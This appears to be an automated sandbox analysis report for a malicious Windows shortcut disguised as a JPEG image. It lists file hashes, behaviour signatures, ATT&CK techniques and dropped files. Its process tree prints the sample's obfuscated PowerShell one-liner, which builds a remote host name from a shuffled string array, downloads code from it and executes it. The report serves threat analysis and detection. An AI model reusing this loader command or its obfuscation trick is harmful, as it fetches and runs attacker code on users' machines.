0bc92f1e861fdbb789f482fc48b71f8507cda1134b65f97b486a0737bdd6a4f6

Analysis

max time kernel
148s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 07:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_115121.jpg.lnk
Size 1KB
Sample260728-jc4rca1fle
SHA256 0bc92f1e861fdbb789f482fc48b71f8507cda1134b65f97b486a0737bdd6a4f6
MD5 01986fd26126a3e8edbe7e9d76b72274
SHA1 43d4fa433e87d8b9cd40de4b3bf6540b826a7bc1
SHA512 41b7412cbc2c850136836b9b9a9c038a339e3a88c4ea18a901de0fc6a8941aee3a26646cf3b2b0caf9be79e8cf50cececc7418bf38209b973a2effbdc29e2958
TLSH
T1EB31DD29DBF21228C6B78B355872631186317B0EEA4D8FDF0290C2945964121F878F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4848	powershell.exe
5	4848	powershell.exe
10	4848	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4652	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe
4848	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4848	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4652 wrote to memory of 4848	4652	cmd.exe	90
PID 4848 wrote to memory of 4704	4848	powershell.exe	91
PID 4704 wrote to memory of 4344	4704	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_115121.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('t','ho','vp','o','w.s','es','er','ta','hop','ns','yn','oi','r')[12,5,6,2,1,0,11,9,7,10,3,4,8] -join $TwhSH) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4848
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nlnbhi41\nlnbhi41.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4704
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES818A.tmp" "c:\Users\Admin\AppData\Local\Temp\nlnbhi41\CSC4B2D98A0BAD34CBA8ACD2D33C495F1B9.TMP"
      4⤵
      PID:4344

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES818A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES818A.tmp
Size 1KB
SHA256 c4cf3bfe4498ee16f2e1ca0cd9045e3abacfea26df1be555b5c6cd4147ad4e29
MD5 c656131ea7b658a580d0a849592f5bf7
SHA1 c12c6a36a0376b269f3d786786a7a772b915cb00
SHA512 ead9de49a94769e0b3b7dc16f4bc150934f9b20596b289e1aa278de3bb6408a91d7073067275892a052bf85350c5b5e61f5d65ada18519a9f067914c459adae6
TLSH
T1C521CC0593E9470FF0B3073169FA175F9274FD64AFA2535A8540422C3C51614EEA1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

nlnbhi41.dll

Path C:\Users\Admin\AppData\Local\Temp\nlnbhi41\nlnbhi41.dll
Size 3KB
SHA256 c556c9a0bd3d2b32ee1560393bcbae2ef96dbacd42671b76eb5247263a83fbe9
MD5 896fe56a79698fe3abd6fb6bd806e829
SHA1 1ef5d2bc68f2de0fc1378c9b33fbf3cc79cb96e1
SHA512 e1a5699067c8500e09a84d6eaad04636f86d6aa53c0a24c4d3fe8af47626adf69d271961397b92ce31099a545530e982c03c1f5d5317ee2aab468088d7a545d7
TLSH
T1C051AA1AA3E8462BE4770735AEE3079727B4FC109FB657AD59804228AC607545E31FB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC4B2D98A0BAD34CBA8ACD2D33C495F1B9.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\nlnbhi41\CSC4B2D98A0BAD34CBA8ACD2D33C495F1B9.TMP
Size 652B
SHA256 ac3011d85dc41f57eeaef75d800f9b187046d8f5fe665db0de2d2a8834fbc85f
MD5 dd12827dcc0fd0f336d5f23eb15b1ac1
SHA1 6a503bb134e61fd88cb59de6f42884900ac95083
SHA512 b24b0e76a989b5251c3e34c11aaf1d83e76a0b6ff3ef3400cc174f26c5861faf4b7da24f120fb73f98e519bcde12abdd5b6742cf87542f82e84c20a286845cb9
TLSH
T13CF05E4963F8020EF0F74B31BDF643A791A9BC64DE3293ED1480431928646208962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

nlnbhi41.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\nlnbhi41\nlnbhi41.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

nlnbhi41.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\nlnbhi41\nlnbhi41.cmdline
Size 369B
SHA256 80941d153da5319509cc2cc689963b48e44101efa54a61386084958f7ac6550f
MD5 06e492881579adba4c20bac1573a4868
SHA1 4f7c0228a8ccfe381a34bee31ff0b4a2ecf174f1
SHA512 2de35d16172a445307bb874cb49d9ae275751aef27070805a426bb2c2dcfb602b0803626c3c41cb3e39c9c80eb2745acc601b854ea0dece5a97df9434b9bb84a
TLSH
T199E0C02A4287C67DD1DF180722AEC4ECC676375329503FC45040488DD4DF104A7D2F41
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4848-10-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-20-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-11-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-12-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-13-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-14-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-15-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-16-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-17-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-18-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-19-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-2-0x00007FFB7A1CF000-0x00007FFB7A1D0000-memory.dmp

Download

memory/4848-9-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-8-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-33-0x00000238AB200000-0x00000238AB208000-memory.dmp

Download

memory/4848-7-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-6-0x00000238AB1B0000-0x00000238AB1D2000-memory.dmp

Download

memory/4848-5-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-34-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-35-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download

memory/4848-38-0x00007FFB7A040000-0x00007FFB7A9E4000-memory.dmp

Download